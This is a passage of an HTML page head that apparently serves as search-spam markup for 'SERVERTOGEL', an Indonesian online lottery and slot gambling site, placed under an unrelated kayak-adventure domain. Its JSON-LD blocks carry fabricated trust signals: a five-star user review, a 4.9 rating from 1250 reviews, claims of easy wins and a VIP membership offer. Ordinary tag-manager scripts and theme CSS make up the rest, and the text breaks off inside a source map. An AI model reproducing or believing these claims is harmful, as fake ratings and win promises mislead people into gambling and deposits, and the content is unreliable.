  3016.            "headline": "SERVERTOGEL: Akses Login Toto Macau Tercepat Beragam Permainan Slot dan Deposit Secepat Kilat via QRIS",
  3017.            "description": "SERVERTOGEL menyediakan akses login Toto Macau tercepat dengan beragam permainan slot menarik serta kemudahan deposit secepat kilat melalui QRIS. Nikmati pengalaman bermain aman cepat dan terpercaya di platform terbaik Indonesia.",
  3018.            "image": "https://i.gyazo.com/bfe062545902dcbfa72d501fda18164f.png",
  3019.            "author": {
  3020.                "@type": "Organization",
  3021.                "name": "IDAMAN TOTO"
  3022.            },
  3023.            "publisher": {
  3024.                "@type": "Organization",
  3025.                "name": "SERVERTOGEL"
  3026.            },
  3027.            "url": "https://www.missourikayakadventures.com/weather",
  3028.            "datePublished": "2025-10-18"
  3029.        }</script>
  3030.    <script type="application/ld+json">
  3031.        {
  3032.            "@context": "https://schema.org",
  3033.            "@type": "NewsArticle",
  3034.            "headline": "SERVERTOGEL | Link Slot Gacor & Bandar Slot Online Deposit QRIS",
  3035.            "datePublished": "2025-10-18",
  3036.            "image": "https://i.gyazo.com/bfe062545902dcbfa72d501fda18164f.png",
  3037.            "articleBody": "SERVERTOGEL menghadirkan pengalaman bermain slot online gacor dengan sistem deposit via QRIS yang cepat dan aman. Nikmati kemudahan akses link resmi, bonus besar, dan permainan slot88 terpercaya setiap hari.",
  3038.            "url": "https://www.missourikayakadventures.com/weather"
  3039.        }</script>
  3040.    <script type="application/ld+json">
  3041.        {
  3042.            "@context": "https://schema.org",
  3043.            "@type": "Organization",
  3044.            "name": "SITUS SERVERTOGEL",
  3045.            "url": "https://www.missourikayakadventures.com/weather",
  3046.            "logo": "https://i.gyazo.com/bfe062545902dcbfa72d501fda18164f.png",
  3047.            "sameAs": [
  3048.                "https://www.youtube.com/shorts/jOUJCLVeUek"
  3049.            ]
  3050.        }</script>
  3051.    <script type="application/ld+json">
  3052.        {
  3053.            "@context": "https://schema.org",
  3054.            "@type": "WebPage",
  3055.            "name": "Situs Toto & Slot Gacor Terpercaya | SERVERTOGEL Deposit QRIS",
  3056.            "url": "https://www.missourikayakadventures.com/weather",
  3057.            "image": "https://i.gyazo.com/bfe062545902dcbfa72d501fda18164f.png",
  3058.            "description": "Bergabunglah dengan SERVERTOGEL, situs toto dan slot gacor terpercaya yang mendukung pembayaran via QRIS. Rasakan sensasi bermain slot online mudah menang dengan bonus melimpah dan layanan 24 jam nonstop."
  3059.        }</script>
  3060.    <script type="application/ld+json">
  3061.        {
  3062.            "@context": "https://schema.org",
  3063.            "@type": "VideoObject",
  3064.            "name": "SERVERTOGEL: Bandar Slot Gacor & Link Slot88 Deposit QRIS",
  3065.            "description": "SERVERTOGEL adalah bandar slot gacor terpercaya dengan link resmi Slot88 dan dukungan deposit via QRIS. Nikmati pilihan game slot online berkualitas tinggi, transaksi cepat-aman, serta peluang RTP unggulan untuk meraih hadiah besar setiap hari.",
  3066.            "thumbnailUrl": "https://i.gyazo.com/bfe062545902dcbfa72d501fda18164f.png",
  3067.            "uploadDate": "2025-10-18",
  3068.            "contentUrl": "https://www.youtube.com/shorts/jOUJCLVeUek"
  3069.        }</script>
  3070.    <script type="application/ld+json">
  3071.        {
  3072.            "@context": "https://schema.org",
  3073.            "@type": "Review",
  3074.            "itemReviewed": {
  3075.                "@type": "Organization",
  3076.                "name": "SERVERTOGEL"
  3077.            },
  3078.            "author": {
  3079.                "@type": "Person",
  3080.                "name": "Bima"
  3081.            },
  3082.            "reviewRating": {
  3083.                "@type": "Rating",
  3084.                "ratingValue": "5",
  3085.                "bestRating": "5"
  3086.            },
  3087.            "reviewBody": "Gampang mainnya, QRIS saldo langsung masuk, slot gacor tiap hari. Rekomendasi banget SERVERTOGEL!"
  3088.        }</script>
  3089.    <script type="application/ld+json">
  3090.        {
  3091.            "@context": "https://schema.org",
  3092.            "@type": "BreadcrumbList",
  3093.            "itemListElement": [
  3094.                {
  3095.                    "@type": "ListItem",
  3096.                    "position": 1,
  3097.                    "name": "SERVERTOGEL",
  3098.                    "item": "https://www.missourikayakadventures.com/weather"
  3099.                },
  3100.                {
  3101.                    "@type": "ListItem",
  3102.                    "position": 2,
  3103.                    "name": "IDAMAN TOTO",
  3104.                    "item": "https://www.missourikayakadventures.com/weather"
  3105.                }
  3106.            ]
  3107.        }</script>
  3108.    <script type="application/ld+json">
  3109.        {
  3110.            "@context": "https://schema.org",
  3111.            "@type": "AggregateRating",
  3112.            "itemReviewed": {
  3113.                "@type": "Organization",
  3114.                "name": "SERVERTOGEL"
  3115.            },
  3116.            "ratingValue": "4.9",
  3117.            "reviewCount": "1250"
  3118.        }</script>
  3119.    <script type="application/ld+json">
  3120.        {
  3121.            "@context": "https://schema.org",
  3122.            "@type": "WebSite",
  3123.            "name": "SERVERTOGEL",
  3124.            "url": "https://www.missourikayakadventures.com/weather",
  3125.            "potentialAction": {
  3126.                "@type": "SearchAction",
  3127.                "target": "https://www.missourikayakadventures.com/weather?s={search_term_string}",
  3128.                "query-input": "required name=search_term_string"
  3129.            }
  3130.        }</script>
  3131.    <script type="application/ld+json">
  3132.        {
  3133.            "@context": "https://schema.org",
  3134.            "@type": "Product",
  3135.            "name": "SERVERTOGEL Membership VIP",
  3136.            "image": "https://i.gyazo.com/bfe062545902dcbfa72d501fda18164f.png",
  3137.            "description": "Paket VIP untuk pemain togel online di SERVERTOGEL dengan bonus dan cashback eksklusif.",
  3138.            "brand": "SERVERTOGEL",
  3139.            "offers": {
  3140.                "@type": "Offer",
  3141.                "priceCurrency": "IDR",
  3142.                "price": "100000",
  3143.                "availability": "https://schema.org/InStock"
  3144.            }
  3145.        }</script>
  3146.    <script type="application/ld+json">
  3147.        {
  3148.            "@context": "https://schema.org",
  3149.            "@type": "HowTo",
  3150.            "name": "Cara Daftar di SERVERTOGEL",
  3151.            "step": [
  3152.                {
  3153.                    "@type": "HowToStep",
  3154.                    "text": "Kunjungi situs resmi SERVERTOGEL di https://www.missourikayakadventures.com/weather"
  3155.                },
  3156.                {
  3157.                    "@type": "HowToStep",
  3158.                    "text": "Klik tombol Daftar Sekarang."
  3159.                },
  3160.                {
  3161.                    "@type": "HowToStep",
  3162.                    "text": "Isi formulir pendaftaran dan konfirmasi akun Anda."
  3163.                }
  3164.            ],
  3165.            "image": "https://i.gyazo.com/bfe062545902dcbfa72d501fda18164f.png"
  3166.        }</script>
  3167.    <script type="application/ld+json">
  3168.        {
  3169.            "@context": "https://schema.org",
  3170.            "@type": "CreativeWorkSeries",
  3171.            "name": "Panduan Togel Online SERVERTOGEL 2025",
  3172.            "description": "Kumpulan artikel panduan dan tips bermain togel online di SERVERTOGEL.",
  3173.            "url": "https://www.missourikayakadventures.com/weather",
  3174.            "image": "https://i.gyazo.com/bfe062545902dcbfa72d501fda18164f.png"
  3175.        }</script>
  3176.    <script nonce="TFNQUvYHwdi8uHoMheRs/Q==">
  3177.        //<![CDATA[
  3178.        window.dataLayer = window.dataLayer || [];
  3179.  
  3180.        //]]>
  3181.    </script>
  3182.    <meta name="bingbot" content="nocache">
  3183.    <!-- Open Graph -->
  3184.    <meta property="og:title" content="SERVERTOGEL: Akses Login Toto Macau Tercepat Beragam Permainan Slot dan Deposit Secepat Kilat via QRIS">
  3185.    <meta property="og:description" content="SERVERTOGEL menyediakan akses login Toto Macau tercepat dengan beragam permainan slot menarik serta kemudahan deposit secepat kilat melalui QRIS. Nikmati pengalaman bermain aman cepat dan terpercaya di platform terbaik Indonesia.">
  3186.    <meta property="og:image" content="https://i.gyazo.com/bfe062545902dcbfa72d501fda18164f.png">
  3187.    <meta property="og:url" content="https://www.missourikayakadventures.com/weather">
  3188.    <meta property="og:type" content="website">
  3189.    <!-- Twitter Card -->
  3190.    <meta name="twitter:card" content="summary_large_image">
  3191.    <meta name="twitter:title" content="SERVERTOGEL: Akses Login Toto Macau Tercepat Beragam Permainan Slot dan Deposit Secepat Kilat via QRIS">
  3192.    <meta name="twitter:description" content="SERVERTOGEL menyediakan akses login Toto Macau tercepat dengan beragam permainan slot menarik serta kemudahan deposit secepat kilat melalui QRIS. Nikmati pengalaman bermain aman cepat dan terpercaya di platform terbaik Indonesia.">
  3193.    <meta name="twitter:image" content="https://i.gyazo.com/bfe062545902dcbfa72d501fda18164f.png">
  3194.    <meta property="og:title" content="SERVERTOGEL: Akses Login Toto Macau Tercepat Beragam Permainan Slot dan Deposit Secepat Kilat via QRIS">
  3195.    <meta property="og:type" content="website">
  3196.    <meta property="og:url" content="https://www.missourikayakadventures.com/weather">
  3197.    <meta property="og:image" content="https://i.gyazo.com/bfe062545902dcbfa72d501fda18164f.png"/>
  3198.    <meta property="og:description" content="SERVERTOGEL menyediakan akses login Toto Macau tercepat dengan beragam permainan slot menarik serta kemudahan deposit secepat kilat melalui QRIS. Nikmati pengalaman bermain aman cepat dan terpercaya di platform terbaik Indonesia.">
  3199.    <meta property="og:site_name" content="ThemeForest">
  3200.    <meta name="csrf-param" content="authenticity_token">
  3201.    <meta name="csrf-token" content="o7V7LGbBjnF9HgzqsCOek0VUbYNaqFcrL72zjeu3cGTv2_7pn5UklFm7XFtDaDCfkbbeD4zdIzwPzjrUhXtbHQ">
  3202.    <meta name="turbo-visit-control" content="reload">
  3203.    <script type="text/javascript" nonce="TFNQUvYHwdi8uHoMheRs/Q==" data-cookieconsent="statistics">
  3204.        //<![CDATA[
  3205.        var container_env_param = "";
  3206.        (function(w, d, s, l, i) {
  3207.            w[l] = w[l] || [];
  3208.            w[l].push({
  3209.                'gtm.start': new Date().getTime(),
  3210.                event: 'gtm.js'
  3211.            });
  3212.            var f = d.getElementsByTagName(s)[0]
  3213.              , j = d.createElement(s)
  3214.              , dl = l != 'dataLayer' ? '&l=' + l : '';
  3215.            j.async = true;
  3216.            j.src = 'https://www.googletagmanager.com/gtm.js?id=' + i + dl + container_env_param;
  3217.            f.parentNode.insertBefore(j, f);
  3218.        }
  3219.        )(window, document, 'script', 'dataLayer', 'GTM-W8KL5Q5');
  3220.  
  3221.        //]]>
  3222.    </script>
  3223.    <script type="text/javascript" nonce="TFNQUvYHwdi8uHoMheRs/Q==" data-cookieconsent="marketing">
  3224.        //<![CDATA[
  3225.        var gtmId = 'GTM-KGCDGPL6';
  3226.        var container_env_param = "";
  3227.        // Google Tag Manager Tracking Code
  3228.        (function(w, d, s, l, i) {
  3229.            w[l] = w[l] || [];
  3230.            w[l].push({
  3231.                'gtm.start': new Date().getTime(),
  3232.                event: 'gtm.js'
  3233.            });
  3234.            var f = d.getElementsByTagName(s)[0]
  3235.              , j = d.createElement(s)
  3236.              , dl = l != 'dataLayer' ? '&l=' + l : '';
  3237.            j.async = true;
  3238.            j.src = 'https://www.googletagmanager.com/gm.js?id=' + i + dl + container_env_param;
  3239.            f.parentNode.insertBefore(j, f);
  3240.        }
  3241.        )(window, document, 'script', 'dataLayer', gtmId);
  3242.  
  3243.        window.addEventListener('load', function() {
  3244.            window.dataLayer.push({
  3245.                event: 'pinterestReady'
  3246.            });
  3247.        });
  3248.  
  3249.        //]]>
  3250.    </script>
  3251.    <script src="https://public-assets.envato-static.com/assets/market/core/head-d4f3da877553664cb1d5ed45cb42c6ec7e6b00d0c4d164be8747cfd5002a24eb.js" nonce="TFNQUvYHwdi8uHoMheRs/Q=="></script>
  3252.    <style type="text/css" id="CookieConsentStateDisplayStyles">
  3253.        .cookieconsent-optin, .cookieconsent-optin-preferences, .cookieconsent-optin-statistics, .cookieconsent-optin-marketing {
  3254.            display: block;
  3255.            display: initial;
  3256.        }
  3257.  
  3258.        .cookieconsent-optout-preferences, .cookieconsent-optout-statistics, .cookieconsent-optout-marketing, .cookieconsent-optout {
  3259.            display: none;
  3260.        }
  3261.    </style>
  3262.    <style>
  3263.        :root {
  3264.            --color-yellow-1000: #191919;
  3265.            --color-yellow-1000-mask: rgb(25 25 25 / 0.7);
  3266.            --color-yellow-700: #ffc400;
  3267.            --color-yellow-500: #ecc207;
  3268.            --color-yellow-300: #ecc207;
  3269.            --color-yellow-100: #cccccc;
  3270.            --color-yellow-50: #ececee;
  3271.            --color-yellow-25: #f9f9fb;
  3272.            --color-white: #ffffff;
  3273.            --color-white-mask: rgb(255 255 255 / 0.7);
  3274.            --color-green-1000: #1a4200;
  3275.            --color-green-700: #2e7400;
  3276.            --color-green-500: #51a31d;
  3277.            --color-green-300: #6cc832;
  3278.            --color-green-100: #9cee69;
  3279.            --color-green-25: #eaffdc;
  3280.            --color-blue-1000: #16357b;
  3281.            --color-blue-700: #4f5ce8;
  3282.            --color-blue-500: #7585ff;
  3283.            --color-blue-25: #f0f1ff;
  3284.            --color-veryberry-1000: #77012d;
  3285.            --color-veryberry-700: #b9004b;
  3286.            --color-veryberry-500: #f65286;
  3287.            --color-veryberry-25: #ffecf2;
  3288.            --color-bubblegum-700: #b037a6;
  3289.            --color-bubblegum-100: #e6afe1;
  3290.            --color-bubblegum-25: #feedfc;
  3291.            --color-jaffa-1000: #692400;
  3292.            --color-jaffa-700: #c24100;
  3293.            --color-jaffa-500: #ff6e28;
  3294.            --color-jaffa-25: #fff5ed;
  3295.            --color-yolk-1000: #452d0d;
  3296.            --color-yolk-700: #9e5f00;
  3297.            --color-yolk-500: #c28800;
  3298.            --color-yolk-300: #ffc800;
  3299.            --color-yolk-25: #fefaea;
  3300.            --color-transparent: transparent;
  3301.            --breakpoint-wide: 1024px;
  3302.            --breakpoint-extra-wide: 1440px;
  3303.            --breakpoint-2k-wide: 2560px;
  3304.            --spacing-8x: 128px;
  3305.            --spacing-7x: 64px;
  3306.            --spacing-6x: 40px;
  3307.            --spacing-5x: 32px;
  3308.            --spacing-4x: 24px;
  3309.            --spacing-3x: 16px;
  3310.            --spacing-2x: 8px;
  3311.            --spacing-1x: 4px;
  3312.            --spacing-none: 0px;
  3313.            --chunkiness-none: 0px;
  3314.            --chunkiness-thin: 1px;
  3315.            --chunkiness-thick: 2px;
  3316.            --roundness-square: 0px;
  3317.            --roundness-subtle: 4px;
  3318.            --roundness-extra-round: 16px;
  3319.            --roundness-circle: 48px;
  3320.            --shadow-500: 0px 2px 12px 0px rgba(0 0 0 / 15%);
  3321.            --elevation-medium: var(--shadow-500);
  3322.            /** @deprecated */
  3323.            --transition-base: 0.2s;
  3324.            --transition-duration-long: 500ms;
  3325.            --transition-duration-medium: 300ms;
  3326.            --transition-duration-short: 150ms;
  3327.            --transition-easing-linear: cubic-bezier(0, 0, 1, 1);
  3328.            --transition-easing-ease-in: cubic-bezier(0.42, 0, 1, 1);
  3329.            --transition-easing-ease-in-out: cubic-bezier(0.42, 0, 0.58, 1);
  3330.            --transition-easing-ease-out: cubic-bezier(0, 0, 0.58, 1);
  3331.            --font-family-wide: "PolySansWide", "PolySans", "Inter", -apple-system, "BlinkMacSystemFont", "Segoe UI", "Fira Sans", "Helvetica Neue", "Arial", sans-serif;
  3332.            --font-family-regular: "PolySans", "Inter", -apple-system, "BlinkMacSystemFont", "Segoe UI", "Fira Sans", "Helvetica Neue", "Arial", sans-serif;
  3333.            --font-family-monospace: "Courier New", monospace;
  3334.            --font-size-10x: 6rem;
  3335.            --font-size-9x: 4.5rem;
  3336.            --font-size-8x: 3rem;
  3337.            --font-size-7x: 2.25rem;
  3338.            --font-size-6x: 1.875rem;
  3339.            --font-size-5x: 1.5rem;
  3340.            --font-size-4x: 1.125rem;
  3341.            --font-size-3x: 1rem;
  3342.            --font-size-2x: 0.875rem;
  3343.            --font-size-1x: 0.75rem;
  3344.            --font-weight-bulky: 700;
  3345.            --font-weight-median: 600;
  3346.            --font-weight-neutral: 400;
  3347.            --font-spacing-tight: -0.02em;
  3348.            --font-spacing-normal: 0;
  3349.            --font-spacing-loose: 0.02em;
  3350.            --font-height-tight: 1;
  3351.            --font-height-normal: 1.5;
  3352.            --icon-size-5x: 48px;
  3353.            --icon-size-4x: 40px;
  3354.            --icon-size-3x: 32px;
  3355.            --icon-size-2x: 24px;
  3356.            --icon-size-1x: 16px;
  3357.            --icon-size-text-responsive: calc(var(--font-size-3x) * 1.5);
  3358.            --layer-depth-ceiling: 9999;
  3359.            --minimum-touch-area: 40px;
  3360.            /* component wiring? ------------------------------------------ */
  3361.            --button-height-large: 48px;
  3362.            --button-height-medium: 40px;
  3363.            --button-font-family: var(--font-family-regular);
  3364.            --button-font-size-large: var(--font-size-3x);
  3365.            --button-font-size-medium: var(--font-size-2x);
  3366.            --button-font-weight: var(--font-weight-median);
  3367.            --button-font-height: var(--font-height-normal);
  3368.            --button-font-spacing: var(--font-spacing-normal);
  3369.            --text-style-chip-family: var(--font-family-regular);
  3370.            --text-style-chip-spacing: var(--font-spacing-normal);
  3371.            --text-style-chip-xlarge-size: var(--font-size-5x);
  3372.            --text-style-chip-xlarge-weight: var(--font-weight-median);
  3373.            --text-style-chip-xlarge-height: var(--font-height-tight);
  3374.            --text-style-chip-large-size: var(--font-size-3x);
  3375.            --text-style-chip-large-weight: var(--font-weight-neutral);
  3376.            --text-style-chip-large-height: var(--font-height-normal);
  3377.            --text-style-chip-medium-size: var(--font-size-2x);
  3378.            --text-style-chip-medium-weight: var(--font-weight-neutral);
  3379.            --text-style-chip-medium-height: var(--font-height-normal);
  3380.            /* theme? ------------------------------------------------- */
  3381.            --text-style-campaign-large-family: var(--font-family-wide);
  3382.            --text-style-campaign-large-size: var(--font-size-9x);
  3383.            --text-style-campaign-large-spacing: var(--font-spacing-normal);
  3384.            --text-style-campaign-large-weight: var(--font-weight-bulky);
  3385.            --text-style-campaign-large-height: var(--font-height-tight);
  3386.            --text-style-campaign-small-family: var(--font-family-wide);
  3387.            --text-style-campaign-small-size: var(--font-size-7x);
  3388.            --text-style-campaign-small-spacing: var(--font-spacing-normal);
  3389.            --text-style-campaign-small-weight: var(--font-weight-bulky);
  3390.            --text-style-campaign-small-height: var(--font-height-tight);
  3391.            --text-style-title-1-family: var(--font-family-regular);
  3392.            --text-style-title-1-size: var(--font-size-8x);
  3393.            --text-style-title-1-spacing: var(--font-spacing-normal);
  3394.            --text-style-title-1-weight: var(--font-weight-bulky);
  3395.            --text-style-title-1-height: var(--font-height-tight);
  3396.            --text-style-title-2-family: var(--font-family-regular);
  3397.            --text-style-title-2-size: var(--font-size-7x);
  3398.            --text-style-title-2-spacing: var(--font-spacing-normal);
  3399.            --text-style-title-2-weight: var(--font-weight-median);
  3400.            --text-style-title-2-height: var(--font-height-tight);
  3401.            --text-style-title-3-family: var(--font-family-regular);
  3402.            --text-style-title-3-size: var(--font-size-6x);
  3403.            --text-style-title-3-spacing: var(--font-spacing-normal);
  3404.            --text-style-title-3-weight: var(--font-weight-median);
  3405.            --text-style-title-3-height: var(--font-height-tight);
  3406.            --text-style-title-4-family: var(--font-family-regular);
  3407.            --text-style-title-4-size: var(--font-size-5x);
  3408.            --text-style-title-4-spacing: var(--font-spacing-normal);
  3409.            --text-style-title-4-weight: var(--font-weight-median);
  3410.            --text-style-title-4-height: var(--font-height-tight);
  3411.            --text-style-subheading-family: var(--font-family-regular);
  3412.            --text-style-subheading-size: var(--font-size-4x);
  3413.            --text-style-subheading-spacing: var(--font-spacing-normal);
  3414.            --text-style-subheading-weight: var(--font-weight-median);
  3415.            --text-style-subheading-height: var(--font-height-normal);
  3416.            --text-style-body-large-family: var(--font-family-regular);
  3417.            --text-style-body-large-size: var(--font-size-3x);
  3418.            --text-style-body-large-spacing: var(--font-spacing-normal);
  3419.            --text-style-body-large-weight: var(--font-weight-neutral);
  3420.            --text-style-body-large-height: var(--font-height-normal);
  3421.            --text-style-body-large-strong-weight: var(--font-weight-bulky);
  3422.            --text-style-body-small-family: var(--font-family-regular);
  3423.            --text-style-body-small-size: var(--font-size-2x);
  3424.            --text-style-body-small-spacing: var(--font-spacing-normal);
  3425.            --text-style-body-small-weight: var(--font-weight-neutral);
  3426.            --text-style-body-small-height: var(--font-height-normal);
  3427.            --text-style-body-small-strong-weight: var(--font-weight-bulky);
  3428.            --text-style-label-large-family: var(--font-family-regular);
  3429.            --text-style-label-large-size: var(--font-size-3x);
  3430.            --text-style-label-large-spacing: var(--font-spacing-normal);
  3431.            --text-style-label-large-weight: var(--font-weight-median);
  3432.            --text-style-label-large-height: var(--font-height-normal);
  3433.            --text-style-label-small-family: var(--font-family-regular);
  3434.            --text-style-label-small-size: var(--font-size-2x);
  3435.            --text-style-label-small-spacing: var(--font-spacing-loose);
  3436.            --text-style-label-small-weight: var(--font-weight-median);
  3437.            --text-style-label-small-height: var(--font-height-normal);
  3438.            --text-style-micro-family: var(--font-family-regular);
  3439.            --text-style-micro-size: var(--font-size-1x);
  3440.            --text-style-micro-spacing: var(--font-spacing-loose);
  3441.            --text-style-micro-weight: var(--font-weight-neutral);
  3442.            --text-style-micro-height: var(--font-height-tight);
  3443.        }
  3444.  
  3445.        .color-scheme-light {
  3446.            --color-interactive-primary: var(--color-green-100);
  3447.            --color-interactive-primary-hover: var(--color-green-300);
  3448.            --color-interactive-secondary: var(--color-transparent);
  3449.            --color-interactive-secondary-hover: var(--color-yellow-1000);
  3450.            --color-interactive-tertiary: var(--color-transparent);
  3451.            --color-interactive-tertiary-hover: var(--color-yellow-25);
  3452.            --color-interactive-control: var(--color-yellow-1000);
  3453.            --color-interactive-control-hover: var(--color-yellow-700);
  3454.            --color-interactive-disabled: var(--color-yellow-100);
  3455.            --color-surface-primary: var(--color-white);
  3456.            --color-surface-accent: var(--color-yellow-50);
  3457.            --color-surface-inverse: var(--color-yellow-1000);
  3458.            --color-surface-brand-accent: var(--color-jaffa-25);
  3459.            --color-surface-elevated: var(--color-yellow-700);
  3460.            --color-surface-caution-default: var(--color-jaffa-25);
  3461.            --color-surface-caution-strong: var(--color-jaffa-700);
  3462.            --color-surface-critical-default: var(--color-veryberry-25);
  3463.            --color-surface-critical-strong: var(--color-veryberry-700);
  3464.            --color-surface-info-default: var(--color-blue-25);
  3465.            --color-surface-info-strong: var(--color-blue-700);
  3466.            --color-surface-neutral-default: var(--color-yellow-25);
  3467.            --color-surface-neutral-strong: var(--color-yellow-1000);
  3468.            --color-surface-positive-default: var(--color-green-25);
  3469.            --color-surface-positive-strong: var(--color-green-700);
  3470.            --color-overlay-light: var(--color-white-mask);
  3471.            --color-overlay-dark: var(--color-yellow-1000-mask);
  3472.            --color-content-brand: var(--color-green-1000);
  3473.            --color-content-brand-accent: var(--color-bubblegum-700);
  3474.            --color-content-primary: var(--color-yellow-1000);
  3475.            --color-content-inverse: var(--color-white);
  3476.            --color-content-secondary: var(--color-yellow-500);
  3477.            --color-content-disabled: var(--color-yellow-300);
  3478.            --color-content-caution-default: var(--color-jaffa-700);
  3479.            --color-content-caution-strong: var(--color-jaffa-25);
  3480.            --color-content-critical-default: var(--color-veryberry-700);
  3481.            --color-content-critical-strong: var(--color-veryberry-25);
  3482.            --color-content-info-default: var(--color-blue-700);
  3483.            --color-content-info-strong: var(--color-blue-25);
  3484.            --color-content-neutral-default: var(--color-yellow-1000);
  3485.            --color-content-neutral-strong: var(--color-white);
  3486.            --color-content-positive-default: var(--color-green-700);
  3487.            --color-content-positive-strong: var(--color-green-25);
  3488.            --color-border-primary: var(--color-yellow-1000);
  3489.            --color-border-secondary: var(--color-yellow-300);
  3490.            --color-border-tertiary: var(--color-yellow-100);
  3491.            --color-always-white: var(--color-white);
  3492.        }
  3493.  
  3494.        .color-scheme-dark {
  3495.            --color-interactive-primary: var(--color-green-100);
  3496.            --color-interactive-primary-hover: var(--color-green-300);
  3497.            --color-interactive-secondary: var(--color-transparent);
  3498.            --color-interactive-secondary-hover: var(--color-white);
  3499.            --color-interactive-tertiary: var(--color-transparent);
  3500.            --color-interactive-tertiary-hover: var(--color-yellow-700);
  3501.            --color-interactive-control: var(--color-white);
  3502.            --color-interactive-control-hover: var(--color-yellow-100);
  3503.            --color-interactive-disabled: var(--color-yellow-700);
  3504.            --color-surface-primary: var(--color-yellow-1000);
  3505.            --color-surface-accent: var(--color-yellow-700);
  3506.            --color-surface-inverse: var(--color-white);
  3507.            --color-surface-brand-accent: var(--color-yellow-700);
  3508.            --color-surface-elevated: var(--color-yellow-700);
  3509.            --color-surface-caution-default: var(--color-jaffa-1000);
  3510.            --color-surface-caution-strong: var(--color-jaffa-500);
  3511.            --color-surface-critical-default: var(--color-veryberry-1000);
  3512.            --color-surface-critical-strong: var(--color-veryberry-500);
  3513.            --color-surface-info-default: var(--color-blue-1000);
  3514.            --color-surface-info-strong: var(--color-blue-500);
  3515.            --color-surface-neutral-default: var(--color-yellow-700);
  3516.            --color-surface-neutral-strong: var(--color-white);
  3517.            --color-surface-positive-default: var(--color-green-1000);
  3518.            --color-surface-positive-strong: var(--color-green-500);
  3519.            --color-overlay-light: var(--color-white-mask);
  3520.            --color-overlay-dark: var(--color-yellow-1000-mask);
  3521.            --color-content-brand: var(--color-green-1000);
  3522.            --color-content-brand-accent: var(--color-bubblegum-100);
  3523.            --color-content-primary: var(--color-white);
  3524.            --color-content-inverse: var(--color-yellow-1000);
  3525.            --color-content-secondary: var(--color-yellow-100);
  3526.            --color-content-disabled: var(--color-yellow-500);
  3527.            --color-content-caution-default: var(--color-jaffa-500);
  3528.            --color-content-caution-strong: var(--color-jaffa-1000);
  3529.            --color-content-critical-default: var(--color-veryberry-500);
  3530.            --color-content-critical-strong: var(--color-veryberry-1000);
  3531.            --color-content-info-default: var(--color-blue-500);
  3532.            --color-content-info-strong: var(--color-blue-1000);
  3533.            --color-content-neutral-default: var(--color-white);
  3534.            --color-content-neutral-strong: var(--color-yellow-1000);
  3535.            --color-content-positive-default: var(--color-green-500);
  3536.            --color-content-positive-strong: var(--color-green-1000);
  3537.            --color-border-primary: var(--color-white);
  3538.            --color-border-secondary: var(--color-yellow-500);
  3539.            --color-border-tertiary: var(--color-yellow-700);
  3540.            --color-always-white: var(--color-white);
  3541.        }
  3542.  
  3543.        /*# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIndlYnBhY2s6Ly8uL2FwcC9qYXZhc2NyaXB0L2NvbXBvbmVudHMvYnJhbmRfbmV1ZV90b2tlbnMvYmFzZS5zY3NzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQUVBO0VBQ0UsMEJBQUE7RUFDQSwyQ0FBQTtFQUNBLHlCQUFBO0VBQ0EseUJBQUE7RUFDQSx5QkFBQTtFQUNBLHlCQUFBO0VBQ0Esd0JBQUE7RUFDQSx3QkFBQTtFQUNBLHNCQUFBO0VBQ0EsMENBQUE7RUFFQSwyQkFBQTtFQUNBLDBCQUFBO0VBQ0EsMEJBQUE7RUFDQSwwQkFBQTtFQUNBLDBCQUFBO0VBQ0EseUJBQUE7RUFFQSwwQkFBQTtFQUNBLHlCQUFBO0VBQ0EseUJBQUE7RUFDQSx3QkFBQTtFQUVBLCtCQUFBO0VBQ0EsOEJBQUE7RUFDQSw4QkFBQTtFQUNBLDZCQUFBO0VBRUEsOEJBQUE7RUFDQSw4QkFBQTtFQUNBLDZCQUFBO0VBRUEsMkJBQUE7RUFDQSwwQkFBQTtFQUNBLDBCQUFBO0VBQ0EseUJBQUE7RUFFQSwwQkFBQTtFQUNBLHlCQUFBO0VBQ0EseUJBQUE7RUFDQSx5QkFBQTtFQUNBLHdCQUFBO0VBRUEsZ0NBQUE7RUFFQSx5QkFBQTtFQUNBLCtCQUFBO0VBQ0EsNEJBQUE7RUFFQSxtQkFBQTtFQUNBLGtCQUFBO0VBQ0Esa0JBQUE7RUFDQSxrQkFBQTtFQUNBLGtCQUFBO0VBQ0Esa0JBQUE7RUFDQSxpQkFBQTtFQUNBLGlCQUFBO0VBQ0EsbUJBQUE7RUFFQSxzQkFBQTtFQUNBLHNCQUFBO0VBQ0EsdUJBQUE7RUFFQSx1QkFBQTtFQUNBLHVCQUFBO0VBQ0EsNkJBQUE7RUFDQSx3QkFBQTtFQUVBLGdEQUFBO0VBQ0EscUNBQUE7RUFFQSxpQkFBQTtFQUNBLHVCQUFBO0VBRUEsaUNBQUE7RUFDQSxtQ0FBQTtFQUNBLGtDQUFBO0VBRUEsb0RBQUE7RUFDQSx3REFBQTtFQUNBLCtEQUFBO0VBQ0EseURBQUE7RUFFQTtrRUFBQTtFQUVBO3NEQUFBO0VBRUEsaURBQUE7RUFFQSxxQkFBQTtFQUNBLHNCQUFBO0VBQ0Esb0JBQUE7RUFDQSx1QkFBQTtFQUNBLHdCQUFBO0VBQ0Esc0JBQUE7RUFDQSx3QkFBQTtFQUNBLG9CQUFBO0VBQ0Esd0JBQUE7RUFDQSx1QkFBQTtFQUVBLHdCQUFBO0VBQ0EseUJBQUE7RUFDQSwwQkFBQTtFQUVBLDZCQUFBO0VBQ0Esd0JBQUE7RUFDQSw0QkFBQTtFQUVBLHNCQUFBO0VBQ0EseUJBQUE7RUFFQSxvQkFBQTtFQUNBLG9CQUFBO0VBQ0Esb0JBQUE7RUFDQSxvQkFBQTtFQUNBLG9CQUFBO0VBQ0EsNERBQUE7RUFFQSwyQkFBQTtFQUVBLDBCQUFBO0VBRUEsaUVBQUE7RUFFQSwyQkFBQTtFQUNBLDRCQUFBO0VBQ0EsZ0RBQUE7RUFDQSw2Q0FBQTtFQUNBLDhDQUFBO0VBQ0EsK0NBQUE7RUFDQSwrQ0FBQTtFQUNBLGlEQUFBO0VBRUEsb0RBQUE7RUFDQSxxREFBQTtFQUNBLGtEQUFBO0VBQ0EsMERBQUE7RUFDQSx5REFBQTtFQUNBLGlEQUFBO0VBQ0EsMERBQUE7RUFDQSx5REFBQTtFQUNBLGtEQUFBO0VBQ0EsMkRBQUE7RUFDQSwwREFBQTtFQUVBLDZEQUFBO0VBRUEsMkRBQUE7RUFDQSxxREFBQTtFQUNBLCtEQUFBO0VBQ0EsNERBQUE7RUFDQSw0REFBQTtFQUVBLDJEQUFBO0VBQ0